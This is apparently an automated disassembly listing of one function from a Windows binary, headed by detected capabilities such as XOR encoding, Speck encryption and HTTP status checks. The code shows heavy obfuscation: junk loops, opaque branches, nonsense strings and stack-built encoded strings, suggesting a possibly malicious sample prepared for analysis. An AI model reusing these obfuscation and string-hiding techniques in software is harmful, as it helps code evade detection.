Function at 0x10029225
Capabilities:
Accept command line arguments
Check http status code
Encode data using xor
Encrypt data using speck
Terminate process

Disassembly:
mov eax, 0x10061afc
call fcn.10060588
sub esp, 0x5bc
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x294], edx
mov dword [ebp - 0x74], ecx
xor ebx, ebx
mov dword [ebp - 4], ebx
mov dword [ebp - 0x1a8], ebx
mov dword [ebp - 0x1a4], ebx
mov dword [ebp - 0x1a0], ebx
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x178]
mov dword [ebp - 0x14], 0x5c19c5a6
mov dword [ebp - 0x1c8], 0x703026d8
push 4
call fcn.100013b5
xor ecx, ecx
mov byte [ebp - 4], 2
inc ecx
mov dword [ebp - 0x30], 0xffffffff
push ecx
lea ecx, [ebp - 0x198]
call fcn.100013b5
push 3
lea ecx, [ebp - 0x1c4]
mov byte [ebp - 4], 3
call fcn.100013b5
mov byte [ebp - 4], 4
mov dword [ebp - 0x28], 0x280e44e3
mov dword [ebp - 0x2e8], 0xc279a1af
mov dword [ebp - 0x2c], ebx
jmp 0x100292d5
mov ecx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x178]
mov dword [eax + ecx*4], 0x73672d71
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 4
jl 0x100292c2
push 0x276a
lea eax, [ebp - 0x198]
mov edx, 0x397c
push eax
xor eax, eax
lea ecx, [ebp - 0x2c]
inc eax
push eax
push ebx
push 0x248e
push 0x4896
push 0x636b
push eax
call fcn.1002820d
push 0x62a1
lea eax, [ebp - 0x1c4]
mov dl, 1
push eax
push ebx
push 0x5b83
push 0x55db
lea eax, [ebp - 0x2c]
mov ecx, 0x5996
push eax
push ebx
push 0x2c17
call fcn.10027e2d
add esp, 0x40
mov dword [ebp - 0x2c], ebx
jmp 0x1002934f
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0x30c], 0xffff
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 4
jl 0x1002933e
cmp dword [ebp - 0x14], ebx
je 0x100293ab
dec dword [ebp - 0x30]
xor ecx, ecx
mov eax, dword [ebp - 0x178]
inc ecx
mov edx, dword [eax]
xor eax, eax
cmp edx, ecx
setge al
xor ecx, ecx
sub edx, eax
mov eax, dword [ebp - 0x30]
imul eax, dword [ebp - 0x14]
cmp eax, edx
setg cl
xor eax, eax
cmp ecx, 0xf82d
setle al
xor ecx, ecx
cmp eax, 0xe607
mov eax, dword [ebp - 0x198]
setge cl
imul ecx, dword [eax]
test ecx, ecx
jne 0x100293a4
mov eax, dword [ebp - 0x14]
xor edx, edx
inc edx
mov eax, edx
jmp 0x100293b0
xor edx, edx
mov eax, ebx
inc edx
xor ecx, ecx
cmp eax, edx
mov eax, dword [ebp - 0x198]
setl cl
cmp ecx, dword [eax]
jne 0x10029529
push ebx
push 0x5045
push 0x2eb2
push 0x3e55
push edx
push 0x6c2
mov dword [ebp - 0x298], 0xb81f947f
lea eax, [ebp - 0x30]
push 0x44fe
mov dword [ebp - 0x2ac], 0xffff
lea edx, [ebp - 0x178]
mov dword [ebp - 0x2a4], 0x6604
xor cl, cl
push 0x1a77
mov dword [ebp - 0x2a0], 0xbc84814c
mov dword [ebp - 0x2f0], 0x5cd6
push eax
call fcn.10027fe4
add esp, 0x24
mov dword [ebp - 0x30], ebx
jmp 0x1002951a
push 2
lea ecx, [ebp - 0x214]
call fcn.100013b5
lea eax, [ebp - 0x390]
mov byte [ebp - 4], 5
push eax
push ebx
push 0x25ce
lea eax, [ebp - 0x214]
mov dword [ebp - 0x2ec], 0x10e3a113
push eax
xor eax, eax
mov edx, 0x419e
inc eax
push 0x2dda
push eax
mov cl, al
call fcn.100280c7
add esp, 0x18
lea eax, [ebp - 0x2a0]
push eax
lea eax, [ebp - 0x2ac]
push eax
lea eax, [ebp - 0x2f0]
push eax
push ebx
push 0x4998
sub esp, 0xc
lea eax, [ebp - 0x2ec]
push 0x4a30
sub esp, 0x10
push eax
lea eax, [ebp - 0x1c4]
push eax
push ecx
push ecx
lea eax, [ebp - 0x178]
push eax
push ecx
lea eax, [ebp - 0x298]
push eax
push ecx
push 0x27d9
push 0x1b73
push 0x57d1
push ecx
lea eax, [ebp - 0x214]
push eax
lea eax, [ebp - 0x2a4]
push eax
lea ecx, [ebp - 0x1c8]
call fcn.100288a6
add esp, 0x6c
mov byte [ebp - 4], 4
cmp dword [ebp - 0x214], 0
je 0x10029517
push dword [ebp - 0x214]
call fcn.10048e11
pop ecx
mov dword [ebp - 0x214], ebx
mov dword [ebp - 0x210], ebx
mov dword [ebp - 0x20c], ebx
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], 0x34
je 0x10029433
jmp 0x100295f8
mov dword [ebp - 0x154], edx
mov dword [ebp - 0x14c], 0xfe49ba5c
mov dword [ebp - 0x70], 0x21d2a6a8
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x2d4], 0xd7c
mov eax, dword [ebp - 0x308]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x70], eax
mov eax, dword [ebp - 0x70]
inc dword [ebp - 0x308]
test eax, eax
jne 0x1002957b
mov eax, dword [ebp - 0x308]
mov ecx, ebx
neg eax
cmp dword [ebp - 0x308], eax
jl 0x1002957d
mov ecx, edx
mov eax, dword [ebp - 0x154]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x154]
mov eax, dword [ebp - 0x30]
imul eax, ecx
test eax, eax
jne 0x100295a0
cmp dword [ebp - 0x70], ebx
jne 0x100295a0
mov edx, ebx
mov eax, dword [ebp - 0x14c]
xor ecx, ecx
cmp edx, eax
lea eax, [ebp - 0x198]
push eax
lea eax, [ebp - 0x14c]
sete cl
push eax
lea eax, [ebp - 0x1c4]
mov dword [ebp - 0x14c], ecx
push eax
lea eax, [ebp - 0x2e8]
push eax
push ecx
push ecx
lea eax, [ebp - 0x70]
push eax
push ecx
lea eax, [ebp - 0x178]
push eax
lea eax, [ebp - 0x154]
push eax
lea edx, [ebp - 0x2d4]
lea ecx, [ebp - 0x1c8]
call fcn.10027ec9
add esp, 0x28
cmp dword [ebp - 0x1c4], 0
je 0x1002961f
push dword [ebp - 0x1c4]
call fcn.10048e11
pop ecx
mov dword [ebp - 0x1c4], ebx
mov dword [ebp - 0x1c0], ebx
mov dword [ebp - 0x1bc], ebx
cmp dword [ebp - 0x198], 0
je 0x10029646
push dword [ebp - 0x198]
call fcn.10048e11
pop ecx
mov dword [ebp - 0x198], ebx
mov dword [ebp - 0x194], ebx
mov dword [ebp - 0x190], ebx
mov byte [ebp - 4], 1
cmp dword [ebp - 0x178], 0
je 0x10029671
push dword [ebp - 0x178]
call fcn.10048e11
pop ecx
mov dword [ebp - 0x178], ebx
mov dword [ebp - 0x174], ebx
mov dword [ebp - 0x170], ebx
push 0x74
pop eax
push 2
mov dword [ebp - 0xa4], 0x37003909
mov dword [ebp - 0xa0], 0x41052f0c
mov dword [ebp - 0x9c], 0x2b064503
mov dword [ebp - 0x98], 0x130a2201
mov dword [ebp - 0x94], 0xa041d07
mov dword [ebp - 0x90], 0xc020a0b
mov word [ebp - 0x8c], 0xd08
mov word [ebp - 0x3aa], ax
pop esi
movzx eax, byte [ebp + esi - 0xa6]
movzx ecx, byte [ebp + esi - 0xa3]
movzx edx, word [ebp + eax*2 - 0x3bc]
mov eax, edx
and eax, ecx
add eax, eax
sub edx, eax
movzx eax, byte [ebp + esi - 0xa4]
add edx, ecx
add esi, 2
mov word [ebp + eax*2 - 0x3bc], dx
cmp esi, 0x1a
jb 0x100296c3
xor eax, eax
mov word [ebp - 0x3a2], ax
mov dword [ebp - 0x20], 0x1809
cmp dword [ebp - 0x20], 0x1901
jle 0x10029778
mov eax, ebx
mov dword [ebp - 0x14], ebx
mov edi, ebx
mov dword [ebp - 0x18], ebx
mov ecx, edi
mov esi, ebx
sar eax, cl
mov dword [ebp - 0x24], eax
mov edi, eax
mov dword [ebp - 0x28], ebx
mov ecx, esi
shl edi, cl
mov eax, edi
mov ecx, 0x1007cb18
xor eax, ebx
cdq
push edx
push eax
call fcn.10010bb7
inc ebx
cmp ebx, 0x7aa7
jl 0x10029732
mov eax, dword [ebp - 0x24]
inc esi
push 0
pop ebx
cmp esi, 0x6341
jl 0x10029729
mov edi, dword [ebp - 0x18]
mov eax, dword [ebp - 0x14]
inc edi
mov dword [ebp - 0x18], edi
cmp edi, 0xf4a
jl 0x10029720
inc eax
mov dword [ebp - 0x14], eax
cmp eax, 0x69df
jl 0x1002971b
mov byte [ebp - 4], 6
cmp dword [ebp - 0x20], 0x17e6
jge 0x100297b5
mov edx, str.qojfi_fyd_aaspehd
mov ecx, 0x1007cb18
call fcn.100134d2
jmp 0x100297b5
push 4
lea ecx, [ebp - 0x244]
mov dword [ebp - 4], 1
call fcn.100013b5
lea eax, [ebp - 0x29c]
mov byte [ebp - 4], 8
push eax
xor eax, eax
mov dword [ebp - 0x2e4], 0xffffffff
inc eax
lea ecx, [ebp - 0x244]
push eax
push 0x5028
push eax
push 0x25fe
xor dl, dl
call fcn.10028b31
add esp, 0x10
xor dl, dl
push 0x5b34
push ecx
push ecx
lea ecx, [ebp - 0x2e4]
call fcn.10028681
add esp, 0x10
mov byte [ebp - 4], 1
cmp dword [ebp - 0x244], 0
je 0x1002983f
push dword [ebp - 0x244]
call fcn.10048e11
pop ecx
mov dword [ebp - 0x244], ebx
mov dword [ebp - 0x240], ebx
mov dword [ebp - 0x23c], ebx
push 3
lea ecx, [ebp - 0x25c]
call fcn.100013b5
push 3
lea ecx, [ebp - 0x250]
mov byte [ebp - 4], 9
call fcn.100013b5
lea eax, [ebp - 0x25c]
mov byte [ebp - 4], 0xa
push eax
push ebx
push ebx
mov dl, 1
lea ecx, [ebp - 0x48]
call fcn.10028488
mov dword [ebp - 0x20], 0x66c4
add esp, 0xc
cmp dword [ebp - 0x20], 0x697c
jle 0x100298b0
mov esi, ebx
mov edi, ebx
mov ecx, edi
mov eax, esi
shl eax, cl
mov ecx, 0x1007cb18
cdq
push edx
push eax
call fcn.10010bb7
inc edi
cmp edi, 0x18fe
jl 0x1002988b
inc esi
cmp esi, 0x1f81
jl 0x10029889
mov dword [ebp - 0x48], ebx
jmp 0x100298c8
mov ecx, dword [ebp - 0x48]
mov eax, dword [ebp - 0x250]
mov dword [eax + ecx*4], 0x6aabecba
inc dword [ebp - 0x48]
cmp dword [ebp - 0x48], 3
jl 0x100298b5
mov byte [ebp - 4], 0xb
cmp dword [ebp - 0x20], 0x63d2
jge 0x10029908
mov edx, str.fifp_jvmzq_sdvroqa_oox_lbrn_hseapyjv_buzsvfvdw_jhbjgmy_sqmjhz_lkfceu_rpgbhie
mov ecx, 0x1007cb18
call fcn.100134d2
jmp 0x10029908
mov dword [ebp - 4], 0xa
xor eax, eax
mov esi, dword [ebp - 0x250]
inc eax
mov dword [esi + 4], ebx
push 0x65e8
push eax
lea eax, [ebp - 0x36]
mov byte [ebp - 0x36], bl
push eax
push 0x41da
push 0x7e02
push ebx
mov edx, 0x6a11
xor cl, cl
call fcn.100280c7
mov byte [ebp - 0x19], bl
add esp, 0x18
cmp byte [ebp - 0x19], 0
je 0x10029951
call dword [sym.imp.USER32.dll_ReleaseCapture]
inc dword [esi + 4]
cmp dword [esi + 4], 2
push 1
pop eax
jle 0x1002991b
push dword [ebp - 0x250]
call fcn.10048e11
mov byte [ebp - 4], 1
cmp dword [ebp - 0x25c], 0
pop ecx
mov dword [ebp - 0x250], ebx
mov dword [ebp - 0x24c], ebx
mov dword [ebp - 0x248], ebx
je 0x100299a6
push dword [ebp - 0x25c]
call fcn.10048e11
pop ecx
mov dword [ebp - 0x25c], ebx
mov dword [ebp - 0x258], ebx
mov dword [ebp - 0x254], ebx
push 0x68
pop eax
push 2
mov ecx, ebx
mov dword [ebp - 0x88], 0xd079506
mov dword [ebp - 0x84], 0x4e020605
mov dword [ebp - 0x80], 0xc034201
mov dword [ebp - 0x7c], 0x2b030204
mov word [ebp - 0x78], 0x884
mov byte [ebp - 0x76], bl
mov byte [ebp - 0x75], 0xf
mov word [ebp - 0x314], ax
pop esi
mov dword [ebp - 0x158], ecx
cmp esi, 0xe
jne 0x100299fd
push 4
pop ecx
push 0x10
mov dword [ebp - 0x158], ecx
pop esi
jmp 0x10029a48
movzx edx, byte [ebp + esi - 0x87]
mov eax, esi
sub eax, ecx
movzx eax, byte [ebp + eax - 0x8a]
movzx eax, word [ebp + eax*2 - 0x320]
mov ecx, eax
and eax, edx
or ecx, edx
sub ecx, eax
movzx eax, byte [ebp + esi - 0x88]
push ecx
push ecx
push ebx
mov word [ebp + eax*2 - 0x320], cx
lea ecx, [ebp - 0x158]
call fcn.10027eb1
mov ecx, dword [ebp - 0x158]
add esp, 0xc
add esi, 2
cmp esi, 0x14
jb 0x100299ea
xor eax, eax
mov dword [ebp - 0x358], 7
mov word [ebp - 0x310], ax
lea ecx, [ebp - 0x36c]
mov word [ebp - 0x36c], ax
lea eax, [ebp - 0x320]
push eax
mov dword [ebp - 0x35c], ebx
call fcn.1001916a
mov byte [ebp - 4], 0xd
lea ecx, [ebp - 0x38c]
xor eax, eax
mov dword [ebp - 0x378], 7
mov word [ebp - 0x38c], ax
lea eax, [ebp - 0x3bc]
push eax
mov dword [ebp - 0x37c], ebx
call fcn.1001916a
lea eax, [ebp - 0x38c]
push eax
lea ecx, [ebp - 0x470]
call fcn.100197d9
lea eax, [ebp - 0x36c]
push eax
lea ecx, [ebp - 0x458]
call fcn.100197d9
push ebx
push 1
lea ecx, [ebp - 0x38c]
call fcn.10011637
push ebx
push 1
lea ecx, [ebp - 0x36c]
call fcn.10011637
mov byte [ebp - 4], 0xe
lea eax, [ebp - 0x440]
push dword [ebp - 0x29c]
lea ecx, [ebp - 0x1b8]
mov dword [ebp - 0x1b8], ebx
push eax
lea eax, [ebp - 0x470]
mov dword [ebp - 0x1b4], ebx
push eax
push ebx
mov dword [ebp - 0x1b0], ebx
call fcn.1002b669
push fcn.100198d7
push 1
push 0x30
lea eax, [ebp - 0x470]
mov byte [ebp - 4], 0x10
push eax
call fcn.10049240
push 7
xor eax, eax
lea edi, [ebp - 0x3bc]
pop ecx
rep stosd dword es:[edi], eax
mov dword [ebp - 0x20], 0x70f3
cmp dword [ebp - 0x20], 0x7434
jle 0x10029b8b
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalLock]
mov esi, ebx
mov edi, ebx
mov eax, edi
mov ecx, 0x1007cb18
and eax, esi
cdq
push edx
push eax
call fcn.10010bb7
inc edi
cmp edi, 0x2324
jl 0x10029b68
inc esi
cmp esi, 0x6ea8
jl 0x10029b66
push 1
lea ecx, [ebp - 0x1e4]
call fcn.100013b5
push 0x5fc9
push ebx
lea eax, [ebp - 0x1e4]
mov byte [ebp - 4], 0x11
push eax
lea eax, [ebp - 0x4c]
mov dl, 1
push ebx
push eax
mov ecx, 0x735c
call fcn.10028b31
add esp, 0x14
mov dword [ebp - 0x4c], ebx
jmp 0x10029bd3
mov eax, dword [ebp - 0x4c]
mov dword [ebp + eax*4 - 0x274], 0xfffffffc
inc dword [ebp - 0x4c]
cmp dword [ebp - 0x4c], 3
jl 0x10029bc2
xor edx, edx
mov dword [ebp - 0x26c], ebx
inc edx
jmp 0x10029bfd
mov ecx, dword [ebp - 0x26c]
mov eax, dword [ebp - 0x1e4]
mov dword [eax + ecx*4], 0xf4a8
inc dword [ebp - 0x26c]
cmp dword [ebp - 0x26c], edx
jl 0x10029be4
cmp dword [ebp - 0x1e4], 0
je 0x10029c2c
push dword [ebp - 0x1e4]
call fcn.10048e11
pop ecx
mov dword [ebp - 0x1e4], ebx
mov dword [ebp - 0x1e0], ebx
mov dword [ebp - 0x1dc], ebx
mov byte [ebp - 4], 0x12
cmp dword [ebp - 0x20], 0x6d81
jge 0x10029c69
mov edx, str.nkemo_kmedywkjb_hpfjh_yvoankfuu_tddmk_cdnwmba_uainkear_hnhe
mov ecx, 0x1007cb18
call fcn.100134d2
jmp 0x10029c69
xor eax, eax
mov dword [ebp - 4], 0x10
lea edi, [ebp - 0x320]
xor ecx, ecx
stosd dword es:[edi], eax
inc ecx
xor dl, dl
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [ebp - 0x1b8]
push eax
push 0x6767
push ecx
push 0x68a
lea eax, [ebp + 8]
push eax
push 0x1ef
push ecx
push 0x27a0
mov ecx, 0x84a
call fcn.10027e2d
xor ecx, ecx
mov dword [ebp - 0x24], 0xdf37d45d
add esp, 0x20
mov dword [ebp - 0x18], ebx
inc ecx
jmp 0x10029cca
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x58], ecx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ecx
jl 0x10029cc0
mov dword [ebp - 0x58], 0x1c
cmp dword [ebp - 0x58], 0x18
jl 0x10029d04
push ecx
lea eax, [ebp - 0x3d]
mov dword [ebp - 0x24], ecx
push eax
push ecx
push ecx
mov dl, cl
mov byte [ebp - 0x3d], bl
mov ecx, 0x7cc2
call fcn.10028681
add esp, 0x10
dec dword [ebp - 0x58]
cmp dword [ebp - 0x58], 0x18
push 1
pop ecx
jge 0x10029cdc
push 0x5fac
push ecx
push 0x78d9
push ecx
call fcn.10028763
mov dword [ebp - 0x14], 1
add esp, 0x10
mov dword [ebp - 0x14], 0xfffffff2
jmp 0x10029db0
push 1
lea ecx, [ebp - 0x1fc]
call fcn.100013b5
xor edx, edx
mov byte [ebp - 4], 0x14
mov dword [ebp - 0x18], ebx
inc edx
jmp 0x10029d57
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1fc]
mov dword [eax + ecx*4], 0xaa9ac70c
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edx
jl 0x10029d44
push 0x2b32
push edx
push 0x2a76
push 0x458c
lea eax, [ebp - 0x1fc]
mov cl, 1
push 0x4ec9
push eax
call fcn.100287a0
add esp, 0x18
mov byte [ebp - 4], 0x10
cmp dword [ebp - 0x1fc], 0
je 0x10029dad
push dword [ebp - 0x1fc]
call fcn.10048e11
pop ecx
mov dword [ebp - 0x1fc], ebx
mov dword [ebp - 0x1f8], ebx
mov dword [ebp - 0x1f4], ebx
dec dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0xffffffee
jge 0x10029d2b
push ebx
push 0x77d2
push 0xc0b8
call fcn.1003e0fd
pop ecx
pop ecx
call eax
mov dword [ebp - 0x2a8], 0x4914d2ed
lea ecx, [ebp - 0x1d8]
push 2
mov dword [ebp - 0x54], 0xffffffff
pop esi
mov dword [ebp - 0x2dc], ebx
mov dword [ebp - 0x3c], 0x632c5b64
mov dword [ebp - 0x19c], 0xfffffff8
push esi
call fcn.100013b5
push 0xda0
push ebx
lea eax, [ebp - 0x1d8]
mov byte [ebp - 4], 0x15
push eax
push 0x539e
push 0x1c03
lea eax, [ebp - 0x354]
mov dword [ebp - 0x24], 0x63d2c82f
push eax
push 0x5276
xor eax, eax
mov dword [ebp - 0x24], 6
inc eax
mov edx, 0x27fe
push eax
push 0x279d
push 0x3da8
push 0x5000
push eax
push 0x3670
mov ecx, 0x3d9
call fcn.10028ccf
add esp, 0x34
lea ecx, [ebp - 0x2a8]
xor eax, eax
mov edx, 0x4ebc
inc eax
push eax
push ecx
lea ecx, [ebp - 0x2dc]
push ecx
push 0xd7f
push ebx
lea ecx, [ebp - 0x3c]
push ecx
lea ecx, [ebp - 0x54]
push ecx
lea ecx, [ebp - 0x19c]
push ecx
push 0x20c6
mov cl, al
call fcn.10027fe4
add esp, 0x24
mov dword [ebp - 0x54], 1
cmp dword [ebp - 0x54], ebx
jl 0x1002a044
mov dword [ebp - 0x2cc], 0x280bfe73
lea ecx, [ebp - 0x280]
mov dword [ebp - 0x2b0], 0xee511904
mov dword [ebp - 0x24], 0x46df8000
mov dword [ebp - 0x24], ebx
push esi
call fcn.100013b5
mov byte [ebp - 4], 0x16
mov dword [ebp - 0x18], ebx
jmp 0x10029ef6
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x280]
mov dword [eax + ecx*4], 0x9ac4e69a
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jl 0x10029ee3
mov dword [ebp - 0x18], ebx
jmp 0x10029f11
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x3ec], 3
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 4
jl 0x10029f00
push 0x6911
xor eax, eax
lea ecx, [ebp - 0x2b0]
inc eax
lea edx, [ebp - 0x3c]
push eax
push 0x66dc
push 0x59c4
push 0x2dfb
push 0x5d2b
push 0x3996
push ebx
push ecx
lea ecx, [ebp - 0x54]
push ecx
lea ecx, [ebp - 0x2cc]
push ecx
push eax
lea eax, [ebp - 0x1d8]
push eax
lea ecx, [ebp - 0x19c]
call fcn.10028ccf
add esp, 0x34
mov dword [ebp - 0x3c], ebx
jmp 0x1002a006
push 4
lea ecx, [ebp - 0x28c]
call fcn.100013b5
push 0x1d0b
lea eax, [ebp - 0x28c]
mov byte [ebp - 4], 0x17
push eax
mov dword [ebp - 0x24], 0x9457720
lea edx, [ebp - 0x290]
push ecx
mov dword [ebp - 0x24], 0xfffffffd
xor cl, cl
mov dword [ebp - 0x24], 5
call fcn.100291ec
mov byte [ebp - 0x19], bl
add esp, 0xc
cmp byte [ebp - 0x19], 0
je 0x10029fd2
xor eax, eax
mov ecx, 0x7c8a
inc eax
push 0x4d3e
push eax
push ebx
mov dl, al
call fcn.10028488
add esp, 0xc
dec dword [ebp - 0x3e8]
mov byte [ebp - 4], 0x16
cmp dword [ebp - 0x28c], 0
je 0x1002a003
push dword [ebp - 0x28c]
call fcn.10048e11
pop ecx
mov dword [ebp - 0x28c], ebx
mov dword [ebp - 0x288], ebx
mov dword [ebp - 0x284], ebx
inc dword [ebp - 0x3c]
cmp dword [ebp - 0x3c], 1
jle 0x10029f6d
mov byte [ebp - 4], 0x15
cmp dword [ebp - 0x280], 0
je 0x1002a03b
push dword [ebp - 0x280]
call fcn.10048e11
pop ecx
mov dword [ebp - 0x280], ebx
mov dword [ebp - 0x27c], ebx
mov dword [ebp - 0x278], ebx
dec dword [ebp - 0x54]
jns 0x10029eb0
mov byte [ebp - 4], 0x10
cmp dword [ebp - 0x1d8], 0
je 0x1002a06f
push dword [ebp - 0x1d8]
call fcn.10048e11
pop ecx
mov dword [ebp - 0x1d8], ebx
mov dword [ebp - 0x1d4], ebx
mov dword [ebp - 0x1d0], ebx
push dword [ebp - 0x290]
movdqa xmm0, xmmword [0x1006fc80]
lea eax, [ebp - 0x3bc]
push eax
lea eax, [ebp - 0x3cc]
mov dword [ebp - 0x184], ebx
push eax
push ebx
lea ecx, [ebp - 0x184]
mov dword [ebp - 0x180], ebx
movdqu xmmword [ebp - 0x3cc], xmm0
mov dword [ebp - 0x17c], ebx
call fcn.10013e5d
mov byte [ebp - 4], 0x18
mov dword [ebp - 0x50], 0xffffffff
mov dword [ebp - 0x2b8], 0x52487223
mov dword [ebp - 0x2c8], ebx
mov dword [ebp - 0x2d0], 0x5ad6cad8
mov dword [ebp - 0x50], 3
cmp dword [ebp - 0x50], ebx
jl 0x1002a138
push 0x1129
xor eax, eax
mov dword [ebp - 0x14], ebx
inc eax
lea ecx, [ebp - 0x50]
push eax
push 0x4de1
push ecx
lea ecx, [ebp - 0x184]
mov dl, al
push ecx
push 0x603c
xor cl, cl
call fcn.100287a0
mov dword [ebp - 0x14], 3
add esp, 0x18
cmp dword [ebp - 0x14], ebx
jl 0x1002a133
push ecx
push ecx
lea eax, [ebp - 0x35]
mov byte [ebp - 0x35], bl
push eax
xor dl, dl
call fcn.1002911b
add esp, 0xc
dec dword [ebp - 0x14]
jns 0x1002a11b
dec dword [ebp - 0x50]
jns 0x1002a0e2
push 0x5664
push 0x5d69
push 0x40b1
push 1
lea eax, [ebp - 0x2b8]
push eax
sub esp, 0xc
lea eax, [ebp - 0x50]
push eax
sub esp, 0x10
lea eax, [ebp - 0x2d0]
push 0xd6b
push 0x679
push ecx
push ecx
push 0x2ae0
push ecx
push 0xf12
push ecx
push eax
lea eax, [ebp - 0x184]
push eax
lea eax, [ebp - 0x2c8]
push eax
push ecx
push 0x5ec7
push 0x1e92
mov ecx, 0x5ceb
call fcn.100288a6
add esp, 0x6c
mov byte [ebp - 4], 0x10
cmp dword [ebp - 0x184], 0
je 0x1002a1ca
push dword [ebp - 0x184]
call fcn.10048e11
pop ecx
mov dword [ebp - 0x184], ebx
mov dword [ebp - 0x180], ebx
mov dword [ebp - 0x17c], ebx
push 0x106e
push 0x77fb
push ebx
push 0x1fb7
push 0x3821
xor eax, eax
lea ecx, [ebp - 0x3a0]
inc eax
push 0x322c
push eax
push 0x3902
mov dl, al
call fcn.10027e2d
mov dword [ebp - 0x34], ebx
add esp, 0x20
mov dword [ebp - 0x28], 0x1b65
cmp dword [ebp - 0x28], 0x1c0d
jle 0x1002a284
mov eax, ebx
mov dword [ebp - 0x18], ebx
mov ecx, eax
mov dword [ebp - 0x20], 0x1c20
mov dword [ebp - 0x14], ecx
mov edi, ebx
mov esi, ebx
mov eax, esi
and eax, edi
xor eax, ecx
lea ecx, [ebp - 0x4dc]
cdq
push edx
push eax
call fcn.10001311
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x1002a243
mov eax, dword [eax]
push eax
call fcn.10048d40
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x4dc]
call fcn.10001516
mov ecx, dword [ebp - 0x14]
inc esi
cmp esi, 0x35cf
jl 0x1002a225
inc edi
cmp edi, 0x34c1
jl 0x1002a223
dec ecx
dec dword [ebp - 0x20]
mov dword [ebp - 0x14], ecx
jne 0x1002a221
mov eax, dword [ebp - 0x18]
inc eax
mov dword [ebp - 0x18], eax
cmp eax, 0x12a4
jl 0x1002a215
cmp dword [ebp - 0x28], 0x1a42
jge 0x1002a298
push str.eqzhlg_mpxrktlb_zlqclb_nse_opynv_ymr_ixoqk_moffkdm_lxxzkl_swzvfe_kbidhpy_wkra_mivfyx_uucswkk
call fcn.10048d40
pop ecx
mov dword [ebp - 4], 0x10
lea ecx, [ebp - 0x1f0]
mov dword [ebp - 0x2d8], ebx
push 3
call fcn.100013b5
push 0x12f8
push 0x218b
xor eax, eax
mov byte [ebp - 4], 0x1b
inc eax
lea ecx, [ebp - 0x2b4]
push eax
push ecx
push 0xe5c
push 0x617b
push eax
lea ecx, [ebp - 0x1f0]
mov dword [ebp - 0x2e0], eax
push ecx
mov dl, al
mov ecx, 0x38c2
call fcn.10027e2d
push 0x793a
xor eax, eax
mov ecx, 0x2c0a
inc eax
push eax
push 0xf56
push eax
push 0x784e
mov dl, al
call fcn.10028b31
add esp, 0x34
lea eax, [ebp - 0x2d8]
mov edx, 0x20da
mov ecx, 0xb09
push eax
push 1
push 0x3cac
push 0x680a
lea eax, [ebp - 0x1f0]
push eax
push 0x7173
lea eax, [ebp - 0x2e0]
push eax
push ebx
push 0x5cd3
push 0x2de
push 0x1cd8
push ebx
push 0x1052
call fcn.10028ccf
add esp, 0x34
mov byte [ebp - 4], 0x10
cmp dword [ebp - 0x1f0], 0
je 0x1002a38b
push dword [ebp - 0x1f0]
call fcn.10048e11
pop ecx
mov dword [ebp - 0x1f0], ebx
mov dword [ebp - 0x1ec], ebx
mov dword [ebp - 0x1e8], ebx
xor eax, eax
mov dword [ebp - 0x148], 0x319250b
inc eax
mov dword [ebp - 0x143], 0x10710c75
push 0x33
mov byte [ebp - 0x144], al
mov ecx, ebx
mov byte [ebp - 0x119], al
pop eax
push 2
mov dword [ebp - 0x13f], 0x1b051705
mov dword [ebp - 0x13b], 0x1d7b0777
mov dword [ebp - 0x137], 0x1270110c
mov dword [ebp - 0x133], 0x3760876
mov dword [ebp - 0x12f], 0x14790cc2
mov dword [ebp - 0x12b], 0xd14097d
mov dword [ebp - 0x127], 0x16090614
mov dword [ebp - 0x123], 0x21020471
mov dword [ebp - 0x11f], 0x22071575
mov word [ebp - 0x11b], 0x308
mov dword [ebp - 0x118], 0x50f0c0a
mov dword [ebp - 0x114], 0x1a18061f
mov byte [ebp - 0x110], 0x13
mov byte [ebp - 0x10f], bl
mov dword [ebp - 0x10e], 0x4c251c05
mov dword [ebp - 0x10a], 0x1420500e
mov dword [ebp - 0x106], 0x761c7f1e
mov dword [ebp - 0x102], 0x7d230824
mov word [ebp - 0xfe], 0x751a
mov byte [ebp - 0xfc], bl
mov word [ebp - 0xfb], 0x24b
mov byte [ebp - 0xf9], 0x3f
mov word [ebp - 0x51a], ax
pop esi
cmp esi, 0x18
jne 0x1002a495
push 4
pop ecx
push 0x1a
pop esi
jmp 0x1002a4cd
movzx edx, byte [ebp + esi - 0x147]
mov eax, esi
sub eax, ecx
movzx eax, byte [ebp + eax - 0x14a]
movzx ecx, word [ebp + eax*2 - 0x530]
mov eax, ecx
and eax, edx
add eax, eax
sub ecx, eax
movzx eax, byte [ebp + esi - 0x148]
add ecx, edx
mov word [ebp + eax*2 - 0x530], cx
mov ecx, ebx
add esi, 2
cmp esi, 0x50
jb 0x1002a488
xor eax, eax
mov word [ebp - 0x4e4], ax
mov dword [ebp - 0x14], 0xb26bdde0
mov dword [ebp - 0x14], ebx
jmp 0x1002a4fb
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x430], 3
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 4
jl 0x1002a4ea
mov dword [ebp - 0x14], 0xffffffea
jmp 0x1002a5ab
push ecx
mov dword [ebp - 0x5c], 6
lea ecx, [ebp - 0x5c]
